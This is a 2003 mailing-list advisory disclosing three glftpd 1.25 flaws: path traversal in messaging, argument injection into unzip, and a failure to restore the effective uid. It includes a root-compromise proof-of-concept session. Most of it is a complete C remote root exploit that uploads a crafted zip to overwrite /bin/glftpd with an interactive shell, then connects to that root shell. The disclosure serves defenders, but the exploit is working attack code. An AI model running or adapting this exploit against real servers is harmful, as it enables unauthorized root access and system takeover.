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multiple vulnerabilities in glftpd
From: Karol Więsek <appelast () bsquad sm pl>
Date: Fri, 21 Feb 2003 20:12:08 +0100

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* MULTIPLE VULNERABILITIES IN GLFTPD *

I. BACKGROUND

Glftpd is a ftpd server, but it wasn't designed as a replacement 
of fptd server. It is a kind of warez ftpd ( like serv-u, war-ftpd ).
It has its own users, groups etc. ( it doesn't use system files ).
It has built in request and message system, which allow to
communicate
betwen users. After connecting it chroots, and moreover users are
chrooted 
second time. The second chroot is not typical chroot ( for example
commands
could modify files outside of chroot ), but users can not get out of
it.

II. DESCRIPTION

1) Writing to any file with effective uid equal 0

Messaging system which allows users to communicate each other is
vulnerable to 
simple attack, which allows any logged user to apend his own line (
unfortunatly
formatted - which dissallows uid escalation ) to any file.

Sending messages uses following algoritm :

* Check if user exists by stat'ing /ftp-data/users/username

where username is not checked at all.

* Open file /ftp-data/users/username in append mode and write
formatted line.

Attacker by setting destination username to
"../../site/incoming/file" 
could destroy target file ( f.ex. zipfile ).

2) Unpacking uploaded files

Version 1.25 allows users to check, list and varify uploaded zip
files 
using unzip. This id done using following commands.

System command                  Glftpd command

unzip -tqq file                 site zipchk file
unzip -l -v file                site ziplist file
unzip -p -C file *.nfo *.NFO    site nfo file

There is possibility to pass filename with additional parameters to
unzip.
Unfortunatly unzip dissallows to mix parameters, so extracting uor
file is
rather impossible, but really ???

After checking argument parsing function in unzip we discover that
there is
an easy way to trick unzip, using the following command we obligate
unzip
to extract our file.

unzip -l -v --l --v file

( for more details see unzip.c )

So, command site ziplist --l --v file, extracts our file

3) Bad euid restoring

All config, messages, help files are owned by root, so any password,
tagline 
changing, message sending are connected with temporary changing of
euid. 
There is one situation where restoring old euid is broken.

On first console :

[root () siuwax /]# ftp siuwax 221
username: appelast
password: v


On second console :
[root () siuwax /]# ps -axu | grep glftpd
#100      1301  0.1  0.9  2568 1196 ?        S    17:08   0:00
glftpd:siuwax: appelast
[root () siuwax /]# strace -f -p 1301 -o gl-onel-log
 
Back to first :
site onel k

Back to second :
^C
[root () siuwax /]# ps -axu | grep glftpd
root      1301  0.0  0.9  2580 1212 ?        S    17:08   0:00
glftpd:siuwax: appelast
Oh, what happened :> ??

[root () siuwax /]# cat gl-onel-log
1301  read(0, "SITE onel k\r\n", 1024) = 16
1301  alarm(900)                        = 888
1301  getuid()                          = 0
1301  getpid()                          = 1301
1301  rt_sigprocmask(SIG_BLOCK, ~[STKFLT CONT PWR RT_0 RT_1 RT_2 RT_3
RT_4 RT_5 RT_6 RT_7 RT_8 RT_9 RT_10 RT_11 RT_12 RT_13 RT_14 RT_15
RT_16 RT_17 RT_18 RT_19 RT_20 RT_21 RT_22 RT_23 RT_24 RT_25 RT_26
RT_27 RT_28 RT_29 RT_30], [], 8) = 0

- -HERE FIRST->  1301  setresuid(ruid 4294967295, euid 0, suid
4294967295) = 0

1301  open("/ftp-data/misc/oneliners.1301.temp",
O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
1301  open("/ftp-data/misc/oneliners", O_RDONLY) = 7
1301  fstat(7, {st_mode=S_IFREG|0666, st_size=428, ...}) = 0
1301  old_mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4015e000
1301  read(7, "appelast                10409213"..., 4096) = 428
1301  read(7, "", 4096)                 = 0
1301  fstat(6, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
1301  old_mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4015f000
1301  time(NULL)                        = 1040922613
1301  close(7)                          = 0
1301  munmap(0x4015e000, 4096)          = 0
1301  write(6, "appelast                10409213"..., 535) = 535
1301  close(6)                          = 0
1301  munmap(0x4015f000, 4096)          = 0
1301  unlink("/ftp-data/misc/oneliners") = 0
1301  rename("/ftp-data/misc/oneliners.1301.temp",
"/ftp-data/misc/oneliners") = 0

- -HERE SECOND-> 1301  setresuid(ruid 4294967295, euid 0, suid
4294967295) = 0

1301  rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
1301  write(1, "200 Your oneliner has been added"..., 35) = 35
1301  rt_sigaction(SIGALRM, {0x8058f60, [ALRM],
SA_RESTART|0x4000000}, {0x8058f60, [ALRM], SA_RESTART|0x4000000}, 8)
= 0
1301  gettimeofday({1040922613, 745799}, NULL) = 0
1301  time([1040922613])                = 1040922613
1301  read(0,  <unfinished ...>

Probably second setresuid should set euid to 100, but it doesn't.

III. ANALYSIS
Logged users could append to any file destroying it ( it could be
fixed by manualy editing ).
Also logged users could gain root privileges in chroot, and also in
all system ( see PoC ).
Glftpd is a warez ftpd, and there is often practised look only
acounts ( for everyone ), which
also allows expliting.

IV.  PROOF OF CONCEPT
Root compromise with glftpd 1.25 ( Linux )

[root () siuwax /]# ftp 127.0.0.1 221
username : appelast
password : v
cd incoming
put kkk.zip
site onel
site ziplist --l --v -o kkk.zip
quit

[root () siuwax /]# telnet 127.0.0.1 221
bash#

File kkk.zip is prepared to overwrite /bin/glftpd, which is envoked
from xinetd with uid=0. 
And contains :
#!/bin/sh
sh -i

V.   DETECTION
Glftpd 1.25 is confirmed vulnerable to all 3 attacks, since Glftpd
1.26
commands site [nfo|ziplist|zipchk] was disabled and changed, but rest
2 bugs
are present in all version including newest 1.28.

VI.  EXAMPLE EXPLOIT
/* 
Glftpd 1.25 PoC remote root exploit 
appelast [appelast-at-bsquad.sm.pl]

We don't need writable directory to 
upload our file, we change our euid 
before it to 0 :> 

*/

#define TMP_ZIP         "/tmp/kakaka.zip"
#define TMP_CMDS                "/tmp/glcmds"

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>


// shellcode ;)
signed int
shellcode[221]={80,75,3,4,10,0,0,0,0,0,83,125,-102,45,98,68,108,-96,15
,0,0,0,15,0,0,0,37,0,21,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47
,46,46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112
,100,85,84,9,0,3,110,35,11,62,-33,99,11,62,85,120,4,0,0,0,0,0,35,33,47
,98,105,110,47,115,104,10,115,104,32,45,105,80,75,1,2,23,3,10,0,0,0,0,
0,83,125,-102,45,98,68,108,-96,15,0,0,0,15,0,0,0,37,0,13,0,0,0,0,0,1,0
,0,0,-19,-127,0,0,0,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,
46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112,100
,85,84,5,0,3,110,35,11,62,85,120,0,0,80,75,5,6,0,0,0,0,1,0,1,0,96,0,0,
0,103,0,0,0,0,0};

void usage(char *progname) {
    printf("Glftpd 1.25 remote root exploit\n"
           "appelast [appelast-at-bsquad.sm.pl]\n"
           "usage : %s host port user password\n\n"
           ,progname);
}

int openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   struct hostent *he;

   he=gethostbyname(host);

   if (he==NULL) return -1;

   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);

   if (sock==-1) return -1;

   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);

   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
sock=-1;

   return sock;
}

void openshell(int sock)
{
 char buf[1024];
 fd_set rset;
 int i;
 while (1)
 {
  FD_ZERO(&rset);
  FD_SET(sock,&rset);
  FD_SET(STDIN_FILENO,&rset);
  select(sock+1,&rset,NULL,NULL,NULL);
  if (FD_ISSET(sock,&rset))
  {
   i=read(sock,buf,1024);
   if (i <= 0)
   {
     printf("The connection was closed!\n");
     exit(0);
   }
   buf[i]=0;
   puts(buf);
  }
  if (FD_ISSET(STDIN_FILENO,&rset))
  {
   i=read(STDIN_FILENO,buf,1024);
   if (i>0)
   {
    buf[i]=0;
    write(sock,buf,i);
   }
  }
 }
}


int main(int argc, char *argv[]) {
    int fd, i;
    char buf[1024];
    char user[25], pass[25];
    memset(buf,0,1024);
    usage(argv[0]);
    if (argc!=5)
        exit(0);
    snprintf(user, 24,"%s", argv[3]);
    snprintf(pass, 24,"%s", argv[4]);
    
    printf("Creating evil .zip file : ");
    
    fd = open(TMP_ZIP,O_RDWR|O_CREAT|O_TRUNC,0600);
    if (fd<0)
        {
        perror("open");
        exit(0);
        }
    for (i=0; i<221; i++)
        {
        (int)buf[0]=shellcode[i];
        buf[1]=0;
        write(fd,buf,1);
        }
    close(fd);
    printf("DONE\n");
    
    printf("Creating commands file : ");
    
    fd = open(TMP_CMDS,O_RDWR|O_CREAT|O_TRUNC,0600);
    if (fd<0)
        {
        perror("open");
        exit(0);
        }
        
    sprintf(buf,"quote user %s\n"
    "quote pass %s\n"
    "site onel hellou\n"
    "put %s %s\n"
    "site ziplist --l --v -o %s\n"
    "del %s\n", user, pass, TMP_ZIP, strrchr(TMP_ZIP, 0x2f)+1,
strrchr(TMP_ZIP, 0x2f)+1, strrchr(TMP_ZIP, 0x2f)+1);
    
    write(fd, buf, strlen(buf));
    close(fd);
    
    printf("DONE\n");
    
    printf("Exploiting ... ");
    
    snprintf(buf, 1023, "ftp -n %s %i < /tmp/glcmds", argv[1],
atoi(argv[2])); 
    
    system(buf);
    
    unlink(TMP_ZIP);
    unlink(TMP_CMDS);
    
    printf("DONE\n");
    
    printf("Connecting to rootshell\n");
    
    openshell(openhost(argv[1],atoi(argv[2])));
    
    return 0;
    }
    

- -- 
Karol Więsek [appelast-at-bsquad.sm.pl]
http://bsquad.sm.pl/

"Knajpa: miejsce, dokąd się co wieczór chodzi po raz ostatni w
życiu."

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Attachment: kkk.zip
Description:


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